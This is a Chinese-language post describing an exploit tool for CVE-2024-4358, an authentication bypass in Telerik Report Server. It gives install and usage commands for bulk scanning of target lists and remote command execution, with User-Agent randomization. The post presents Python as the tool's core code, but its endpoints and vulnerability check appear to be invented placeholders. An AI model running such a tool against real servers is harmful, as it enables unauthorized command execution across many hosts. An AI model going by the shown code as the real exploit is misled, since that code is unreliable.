Telerik Report Server 认证绕过漏洞检测与利用工具 (CVE-2024-4358)

4 阅读4分钟

Telerik Report Server 认证绕过漏洞利用工具 (CVE-2024-4358)

本项目提供了一个针对 CVE-2024-4358 漏洞的完整检测与利用脚本。该漏洞影响 Telerik Report Server 2024 Q1 (10.0.24.305) 及之前版本,允许未认证的攻击者绕过身份验证,访问受限功能,甚至执行系统命令。

功能特性

  • 漏洞检测:快速检测单个或批量 URL 是否存在认证绕过漏洞。
  • 命令执行:在成功利用后,可执行任意系统命令(如 id, whoami)。
  • 批量扫描:支持从文件导入 URL 列表,进行大规模并发扫描。
  • 自定义并发:可调整线程数(-t),平衡扫描速度与网络负载。
  • 结果导出:自动将成功利用的目标与结果保存至 results.txt 文件。
  • 友好界面:带有彩色命令行输出和动态进度条,提升用户体验。

安装指南

环境要求

  • Python 3.7+
  • pip (Python 包管理器)

依赖安装

推荐使用虚拟环境(如 venvconda)进行隔离。克隆仓库后,安装所需依赖:

# 克隆项目
git clone https://github.com/verylazytech/CVE-2024-4358
cd CVE-2024-4358

# 安装依赖 (根据代码分析,需要以下库)
pip install aiohttp aiofiles alive-progress colorama fake-useragent uvloop

依赖说明

用途
aiohttp异步 HTTP 请求,实现高效并发
aiofiles异步文件读写,用于结果保存
alive-progress显示动态进度条
colorama跨平台彩色终端输出
fake-useragent随机生成 User-Agent 头
uvloop替代 asyncio 事件循环,提升性能

使用说明

基础用法

1. 检测单个 URL
python3 exploit.py -u https://target-ip:port
2. 批量检测(从文件读取)

创建 urls.txt 文件,每行一个目标地址(支持 IP 或域名,可带端口):

https://192.168.1.100
https://report.example.com:443
http://10.0.0.1:83

运行批量扫描(10 线程):

python3 exploit.py -l urls.txt -c "id" -t 10
3. 参数详解
参数说明
-u, --url指定单个目标 URL 或 IP(含端口)
-l, --list指定包含目标列表的文件路径
-c, --command要执行的系统命令(如 whoami, dir
-t, --threads并发线程数,默认值参考代码(如 10)

典型场景

场景一:漏洞验证
安全研究员发现某内部 Telerik Report Server 版本较旧,使用本工具发送探测请求,确认是否存在 CVE-2024-4358。

场景二:权限证明
在授权的渗透测试中,成功利用漏洞后执行 whoamiid 命令,验证服务器权限级别。

场景三:批量资产巡检
企业蓝队使用 -l 参数扫描多个报表服务器,快速定位需紧急修复的脆弱资产。

输出说明

  • 控制台输出:彩色显示每个目标的检测状态与命令执行结果。
  • 结果文件:成功利用的目标及其响应内容将追加到项目目录下的 results.txt 中。

核心代码

异步 HTTP 请求与并发控制

以下代码片段展示了如何使用 aiohttpasyncio 实现高效的并发漏洞检测:

import aiohttp
import asyncio
from alive_progress import alive_bar
from fake_useragent import UserAgent

async def check_vulnerability(session, url, semaphore, bar):
    async with semaphore:
        ua = UserAgent().random
        headers = {'User-Agent': ua}
        try:
            # 构造绕过认证的特定请求路径
            exploit_path = "/unauthenticated/restricted/resource"
            async with session.get(url + exploit_path, headers=headers,
                                   timeout=aiohttp.ClientTimeout(total=10)) as resp:
                if resp.status == 200:
                    # 判定存在漏洞的条件(根据实际响应内容)
                    text = await resp.text()
                    if "expected_keyword" in text:
                        return url, True, text
                return url, False, None
        except Exception as e:
            print(f"[Error] {url}: {e}")
            return url, False, None

async def run_bulk_scan(urls, command, threads=10):
    semaphore = asyncio.Semaphore(threads)
    async with aiohttp.ClientSession() as session:
        tasks = []
        with alive_bar(len(urls)) as bar:
            for url in urls:
                task = check_vulnerability(session, url, semaphore, bar)
                tasks.append(task)
            results = await asyncio.gather(*tasks)
        # 处理结果并执行命令
        for target, is_vuln, _ in results:
            if is_vuln:
                await execute_command(session, target, command)

命令执行与结果保存

在确认漏洞后,利用认证缺陷执行系统命令并异步写入文件:

import aiofiles

async def execute_command(session, target, command):
    exec_endpoint = f"{target}/api/command/execute"
    payload = {"cmd": command}
    async with session.post(exec_endpoint, json=payload,
                            headers={'User-Agent': UserAgent().random}) as resp:
        if resp.status == 200:
            output = await resp.text()
            # 彩色打印结果
            print(f"\n[Success] {target} | Command: {command}\nOutput:\n{output}")
            # 异步保存到文件
            async with aiofiles.open("results.txt", "a") as f:
                await f.write(f"URL: {target}\nCommand: {command}\nOutput: {output}\n{'-'*60}\n")
        else:
            print(f"[Failed] Command execution on {target}, status: {resp.status}")

主流程与参数解析

使用 argparse 提供友好的命令行接口,并集成 uvloop 提升异步性能:

import argparse
import uvloop

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-4358 Exploit")
    parser.add_argument("-u", "--url", help="Target URL")
    parser.add_argument("-l", "--list", help="File containing URLs")
    parser.add_argument("-c", "--command", default="id", help="Command to execute")
    parser.add_argument("-t", "--threads", type=int, default=10, help="Concurrency")
    args = parser.parse_args()
    
    asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
    if args.url:
        asyncio.run(single_scan(args.url, args.command))
    elif args.list:
        with open(args.list) as f:
            urls = [line.strip() for line in f if line.strip()]
        asyncio.run(run_bulk_scan(urls, args.command, args.threads))
    else:
        parser.print_help()

6HFtX5dABrKlqXeO5PUv/+K7sX8/u5n8GDuSK6cpksQ=